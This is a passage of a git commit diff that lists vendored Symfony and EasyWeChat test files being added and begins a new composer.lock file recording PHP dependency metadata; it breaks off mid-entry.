vendor/symfony/translation/Tests/fixtures/escaped-id.po create mode 100644 vendor/symfony/translation/Tests/fixtures/fuzzy-translations.po create mode 100644 vendor/symfony/translation/Tests/fixtures/invalid-xml-resources.xlf create mode 100644 vendor/symfony/translation/Tests/fixtures/malformed.json create mode 100644 vendor/symfony/translation/Tests/fixtures/non-valid.xlf create mode 100644 vendor/symfony/translation/Tests/fixtures/non-valid.yml create mode 100644 vendor/symfony/translation/Tests/fixtures/plurals.mo create mode 100644 vendor/symfony/translation/Tests/fixtures/plurals.po create mode 100644 vendor/symfony/translation/Tests/fixtures/resname.xlf create mode 100644 vendor/symfony/translation/Tests/fixtures/resourcebundle/corrupted/resources.dat create mode 100644 vendor/symfony/translation/Tests/fixtures/resourcebundle/dat/en.res create mode 100644 vendor/symfony/translation/Tests/fixtures/resourcebundle/dat/en.txt create mode 100644 vendor/symfony/translation/Tests/fixtures/resourcebundle/dat/fr.res create mode 100644 vendor/symfony/translation/Tests/fixtures/resourcebundle/dat/fr.txt create mode 100644 vendor/symfony/translation/Tests/fixtures/resourcebundle/dat/packagelist.txt create mode 100644 vendor/symfony/translation/Tests/fixtures/resourcebundle/dat/resources.dat create mode 100644 vendor/symfony/translation/Tests/fixtures/resourcebundle/res/en.res create mode 100644 vendor/symfony/translation/Tests/fixtures/resources-clean.xlf create mode 100644 vendor/symfony/translation/Tests/fixtures/resources.csv create mode 100644 vendor/symfony/translation/Tests/fixtures/resources.ini create mode 100644 vendor/symfony/translation/Tests/fixtures/resources.json create mode 100644 vendor/symfony/translation/Tests/fixtures/resources.mo create mode 100644 vendor/symfony/translation/Tests/fixtures/resources.php create mode 100644 vendor/symfony/translation/Tests/fixtures/resources.po create mode 100644 vendor/symfony/translation/Tests/fixtures/resources.ts create mode 100644 vendor/symfony/translation/Tests/fixtures/resources.xlf create mode 100644 vendor/symfony/translation/Tests/fixtures/resources.yml create mode 100644 vendor/symfony/translation/Tests/fixtures/valid.csv create mode 100644 vendor/symfony/translation/Tests/fixtures/withdoctype.xlf create mode 100644 vendor/symfony/translation/Tests/fixtures/withnote.xlf create mode 100644 vendor/symfony/translation/phpunit.xml.dist create mode 100644 vendor/symfony/var-dumper/CHANGELOG.md create mode 100644 vendor/symfony/var-dumper/Test/VarDumperTestCase.php create mode 100644 vendor/symfony/var-dumper/Test/VarDumperTestTrait.php create mode 100644 vendor/symfony/var-dumper/Tests/Caster/CasterTest.php create mode 100644 vendor/symfony/var-dumper/Tests/Caster/PdoCasterTest.php create mode 100644 vendor/symfony/var-dumper/Tests/Caster/ReflectionCasterTest.php create mode 100644 vendor/symfony/var-dumper/Tests/Caster/SplCasterTest.php create mode 100644 vendor/symfony/var-dumper/Tests/CliDumperTest.php create mode 100644 vendor/symfony/var-dumper/Tests/Fixtures/NotLoadableClass.php create mode 100644 vendor/symfony/var-dumper/Tests/Fixtures/dumb-var.php create mode 100644 vendor/symfony/var-dumper/Tests/HtmlDumperTest.php create mode 100644 vendor/symfony/var-dumper/Tests/Test/VarDumperTestTraitRequire54.php create mode 100644 vendor/symfony/var-dumper/Tests/Test/VarDumperTestTraitTest.php create mode 100644 vendor/symfony/var-dumper/Tests/VarClonerTest.php create mode 100644 vendor/symfony/var-dumper/phpunit.xml.dist create mode 100644 vendor/w7corp/easywechat/.github/FUNDING.yml create mode 100644 vendor/w7corp/easywechat/.github/ISSUE_TEMPLATE.md create mode 100644 vendor/w7corp/easywechat/.github/workflows/lint.yml create mode 100644 vendor/w7corp/easywechat/.github/workflows/test.yml create mode 100644 vendor/w7corp/easywechat/CHANGELOG.md create mode 100644 vendor/w7corp/easywechat/build/easywechat-delete-branch.sh create mode 100644 vendor/w7corp/easywechat/build/easywechat-split.sh create mode 100644 vendor/w7corp/easywechat/phpunit.xml create mode 100644 vendor/w7corp/easywechat/tests/BasicService/ApplicationTest.php create mode 100644 vendor/w7corp/easywechat/tests/BasicService/ContentSecurity/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/BasicService/Jssdk/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/BasicService/Media/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/BasicService/QrCode/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/BasicService/Url/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/FactoryTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/AccessTokenTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/BaseClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Decorators/FinallyResultTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Decorators/TerminateResultTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/EncryptorTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/HelpersTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Http/ResponseTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Http/StreamResponseTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Log/LogManagerTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Messages/ArticleTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Messages/CardTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Messages/DeviceTextTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Messages/MediaTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Messages/MiniProgramPageTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Messages/MusicTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Messages/NewsItemTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Messages/NewsTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Messages/RawTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Messages/TextTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Messages/TransferTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Messages/VideoTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Messages/VoiceTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/ServerGuardTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/ServiceContainerTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Support/AESTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Support/ArrTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Support/ArrayAccessibleTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Support/CollectionTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Support/FileTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Support/StrTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Support/XMLTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Traits/HasAttributesTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Traits/HasHttpRequestsTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Traits/InteractsWithCacheTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Traits/ObservableTest.php create mode 100644 vendor/w7corp/easywechat/tests/Kernel/Traits/ResponseCastableTest.php create mode 100644 vendor/w7corp/easywechat/tests/MicroMerchant/ApplicationTest.php create mode 100644 vendor/w7corp/easywechat/tests/MicroMerchant/Base/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MicroMerchant/Certficates/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MicroMerchant/Kernel/BaseClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MicroMerchant/Material/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MicroMerchant/Media/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MicroMerchant/MerchantConfig/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MicroMerchant/Withdraw/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/ActivityMessage/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/AppCode/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/Auth/AccessTokenTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/Auth/AuthTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/Broadcast/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/DataCube/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/EncryptorTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/Express/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/Live/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/NearbyPoi/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/OpenData/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/Plugin/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/Plugin/DevClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/RealtimeLog/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/Search/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/Soter/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/SubscribeMessage/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/TemplateMessage/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/MiniProgram/UniformMessage/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/ApplicationTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Auth/AccessTokenTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/AutoReply/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Base/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Broadcasting/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Broadcasting/MessageBuilderTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Card/BoardingPassClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Card/CardTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Card/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Card/CodeClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Card/CoinClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Card/GeneralCardClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Card/GiftCartClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Card/GiftCartOrderClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Card/GiftCartPageClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Card/InvoiceClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Card/JssdkClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Card/MeetingTicketClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Card/MemberCardClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Card/MovieTicketClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Card/SubMerchantClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Comment/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/CustomerService/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/CustomerService/MessengerTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/CustomerService/SessionClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/DataCube/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Device/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Goods/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Material/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Menu/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/OCR/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/POI/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Semantic/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Server/GuardTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Server/Handlers/EchoStrHandlerTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/ShakeAround/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/ShakeAround/DeviceClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/ShakeAround/GroupClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/ShakeAround/MaterialClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/ShakeAround/PageClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/ShakeAround/RelationClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/ShakeAround/ShakeAroundTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/ShakeAround/StatsClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/Store/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/TemplateMessage/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/User/TagClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/User/UserClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/WiFi/CardClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/WiFi/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/WiFi/DeviceClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OfficialAccount/WiFi/ShopClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Auth/AccessTokenTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Auth/VerifyTicketTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Authorizer/Aggregate/Account/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Authorizer/Auth/AuthorizerAccessTokenTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Authorizer/MiniProgram/Account/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Authorizer/MiniProgram/ApplicationTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Authorizer/MiniProgram/Auth/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Authorizer/MiniProgram/Code/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Authorizer/MiniProgram/Domain/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Authorizer/MiniProgram/Setting/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Authorizer/MiniProgram/Tester/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Authorizer/OfficialAccount/Account/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Authorizer/OfficialAccount/MiniProgram/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Authorizer/Server/GuardTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Base/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/CodeTemplate/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Component/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Server/GuardTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Server/Handlers/AuthorizedTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Server/Handlers/UnauthorizedTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Server/Handlers/UpdateAuthorizedTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenPlatform/Server/Handlers/VerifyTicketRefreshedTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenWork/Auth/AccessTokenTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenWork/Corp/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenWork/MiniProgram/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenWork/Provider/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenWork/Server/GuardTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenWork/Server/Handlers/EchoStrHandlerTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenWork/SuiteAuth/AccessTokenTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenWork/SuiteAuth/SuiteTicketTest.php create mode 100644 vendor/w7corp/easywechat/tests/OpenWork/Work/Auth/AccessTokenTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/ApplicationTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/Base/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/Bill/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/Coupon/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/Fundflow/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/Jssdk/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/Kernel/BaseClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/Merchant/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/Notify/PaidTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/Notify/RefundedTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/Notify/ScannedTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/Order/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/ProfitSharing/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/Redpack/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/Refund/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/Reverse/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/Sandbox/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/Security/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Payment/Transfer/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/TestCase.php create mode 100644 vendor/w7corp/easywechat/tests/Work/Agent/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/ApplicationTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/Auth/AccessTokenTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/Base/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/Calendar/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/Chat/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/Department/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/ExternalContact/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/ExternalContact/ContactWayTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/ExternalContact/MessageTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/ExternalContact/StatisticsTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/GroupRobot/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/GroupRobot/Messages/ImageTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/GroupRobot/Messages/MarkdownTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/GroupRobot/Messages/MessageTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/GroupRobot/Messages/NewsItemTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/GroupRobot/Messages/NewsTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/GroupRobot/Messages/TextTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/GroupRobot/MessengerTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/Invoice/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/Jssdk/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/Live/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/Media/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/Menu/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/Message/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/Message/MessengerTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/MiniProgram/Auth/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/OA/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/Schedule/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/Server/GuardTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/Server/Handlers/EchoStrHandlerTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/User/ClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/Work/User/TagClientTest.php create mode 100644 vendor/w7corp/easywechat/tests/bootstrap.php create mode 100644 vendor/w7corp/easywechat/tests/stubs/files/50x50.png create mode 100644 vendor/w7corp/easywechat/tests/stubs/files/empty.file create mode 100644 vendor/w7corp/easywechat/tests/stubs/files/image.jpg create mode 100644 vendor/w7corp/easywechat/tests/stubs/files/image.png create mode 100644 vendor/w7corp/easywechat/tests/stubs/files/public-wx123456.pem diff --git a/composer.lock b/composer.lock new file mode 100644 index 00000000..ae0a6630 --- /dev/null +++ b/composer.lock @@ -0,0 +1,4543 @@ +{ + "_readme": [ + "This file locks the dependencies of your project to a known state", + "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", + "This file is @generated automatically" + ], + "content-hash": "456e3d3655cd2673ea597ddd350f6dd3", + "packages": [ + { + "name": "arvenil/ninja-mutex", + "version": "0.6.0", + "source": { + "type": "git", + "url": "https://github.com/arvenil/mutex.git", + "reference": "8c0f5d10f8fb1481b9d98488dbbe2bf84c2e1a25" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/arvenil/mutex/zipball/8c0f5d10f8fb1481b9d98488dbbe2bf84c2e1a25", + "reference": "8c0f5d10f8fb1481b9d98488dbbe2bf84c2e1a25", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "require-dev": { + "codeclimate/php-test-reporter": "0.1.*", + "ext-memcache": "*", + "ext-memcached": "*", + "ext-pdo_mysql": "*", + "ext-redis": "*", + "mikey179/vfsstream": "1.4.* || 1.5.*", + "predis/predis": "1.0.*", + "scrutinizer/ocular": "1.1.*" + }, + "suggest": { + "ext-memcache": "Create mutex using memcache extension", + "ext-memcached": "Create mutex using memcached extension", + "ext-pdo_mysql": "Create mutex using MySql", + "predis/predis": "Create mutex using Predis (client library for Redis)" + }, + "type": "library", + "autoload": { + "psr-0": { + "NinjaMutex": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Kamil Dziedzic", + "email": "arvenil@klecza.pl" + } + ], + "description": "Simple to use mutex implementation that can use flock, memcache, memcached, mysql or redis for locking", + "homepage": "https://github.com/arvenil/ninja-mutex", + "keywords": [ + "flock", + "lock", + "locking", + "memcache", + "memcached", + "mutex", + "mysql", + "redis" + ], + "funding": [ + { + "url": "https://github.com/arvenil", + "type": "github" + } + ], + "time": "2016-05-31T13:47:32+00:00" + }, + { + "name": "bacon/bacon-qr-code", + "version": "1.0.3", + "source": { + "type": "git", + "url": "https://github.com/Bacon/BaconQrCode.git", + "reference": "5a91b62b9d37cee635bbf8d553f4546057250bee" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Bacon/BaconQrCode/zipball/5a91b62b9d37cee635bbf8d553f4546057250bee", + "reference": "5a91b62b9d37cee635bbf8d553f4546057250bee", + "shasum": "" + }, + "require": { + "ext-iconv": "*", + "php": "^5.4|^7.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.8" + }, + "suggest": { + "ext-gd": "to generate QR code images" + }, + "type": "library", + "autoload": { + "psr-0": { + "BaconQrCode": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-2-Clause" + ], + "authors": [ + { + "name": "Ben Scholzen 'DASPRiD'", + "email": "mail@dasprids.de", + "homepage": "http://www.dasprids.de", + "role": "Developer" + } + ], + "description": "BaconQrCode is a QR code generator for PHP.", + "homepage": "https://github.com/Bacon/BaconQrCode", + "time": "2017-10-17T09:59:25+00:00" + }, + { + "name": "classpreloader/classpreloader", + "version": "3.2.1", + "source": { + "type": "git", + "url": "https://github.com/ClassPreloader/ClassPreloader.git", + "reference": "297db07cabece3946f4a98d23f11f90aa10e1797" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ClassPreloader/ClassPreloader/zipball/297db07cabece3946f4a98d23f11f90aa10e1797", + "reference": "297db07cabece3946f4a98d23f11f90aa10e1797", + "shasum": "" + }, + "require": { + "nikic/php-parser": "^1.0|^2.0|^3.0", + "php": ">=5.5.9" + }, + "require-dev": { + "phpunit/phpunit": "^4.8|^5.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.2-dev" + } + }, + "autoload": { + "psr-4": { + "ClassPreloader\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com" + }, + { + "name": "Graham Campbell", + "email": "graham@alt-three.com" + } + ], + "description": "Helps class loading performance by generating a single PHP file containing all of the autoloaded files for a specific use case", + "keywords": [ + "autoload", + "class", + "preload" + ], + "funding": [ + { + "url": "https://tidelift.com/funding/github/packagist/classpreloader/classpreloader", + "type": "tidelift" + } + ], + "time": "2020-04-12T22:01:25+00:00" + }, + { + "name": "danielstjules/stringy", + "version": "1.10.0", + "source": { + "type": "git", + "url": "https://github.com/danielstjules/Stringy.git", + "reference": "4749c205db47ee5b32e8d1adf6d9aff8db6caf3b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/danielstjules/Stringy/zipball/4749c205db47ee5b32e8d1adf6d9aff8db6caf3b", + "reference": "4749c205db47ee5b32e8d1adf6d9aff8db6caf3b", + "shasum": "" + }, + "require": { + "ext-mbstring": "*", + "php": ">=5.3.0" + }, + "require-dev": { + "phpunit/phpunit": "~4.0" + }, + "type": "library", + "autoload": { + "files": [ + "src/Create.php" + ], + "psr-4": { + "Stringy\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Daniel St. Jules", + "email": "danielst.jules@gmail.com", + "homepage": "http://www.danielstjules.com" + } + ], + "description": "A string manipulation library with multibyte support", + "homepage": "https://github.com/danielstjules/Stringy", + "keywords": [ + "UTF", + "helpers", + "manipulation", + "methods", + "multibyte", + "string", + "utf-8", + "utility", + "utils" + ], + "time": "2015-07-23T00:54:12+00:00" + }, + { + "name": "dnoegel/php-xdg-base-dir", + "version": "0.1", + "source": { + "type": "git", + "url": "https://github.com/dnoegel/php-xdg-base-dir.git", + "reference": "265b8593498b997dc2d31e75b89f053b5cc9621a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/dnoegel/php-xdg-base-dir/zipball/265b8593498b997dc2d31e75b89f053b5cc9621a", + "reference": "265b8593498b997dc2d31e75b89f053b5cc9621a", + "shasum": "" + }, + "require": { + "php": ">=5.3.2" + }, + "require-dev": { + "phpunit/phpunit": "@stable" + }, + "type": "project", + "autoload": { + "psr-4": { + "XdgBaseDir\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "implementation of xdg base directory specification for php", + "time": "2014-10-24T07:27:01+00:00" + }, + { + "name": "doctrine/annotations", + "version": "v1.4.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/annotations.git", + "reference": "54cacc9b81758b14e3ce750f205a393d52339e97" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/annotations/zipball/54cacc9b81758b14e3ce750f205a393d52339e97", + "reference": "54cacc9b81758b14e3ce750f205a393d52339e97", + "shasum": "" + }, + "require": { + "doctrine/lexer": "1.*", + "php": "^5.6 || ^7.0" + }, + "require-dev": { + "doctrine/cache": "1.*", + "phpunit/phpunit": "^5.7" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.4.x-dev" + } + }, + "autoload": { + "psr-4": { + "Doctrine\\Common\\Annotations\\": "lib/Doctrine/Common/Annotations" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + } + ], + "description": "Docblock Annotations Parser", + "homepage": "http://www.doctrine-project.org", + "keywords": [ + "annotations", + "docblock", + "parser" + ], + "time": "2017-02-24T16:22:25+00:00" + }, + { + "name": "doctrine/cache", + "version": "v1.6.2", + "source": { + "type": "git", + "url": "https://github.com/doctrine/cache.git", + "reference": 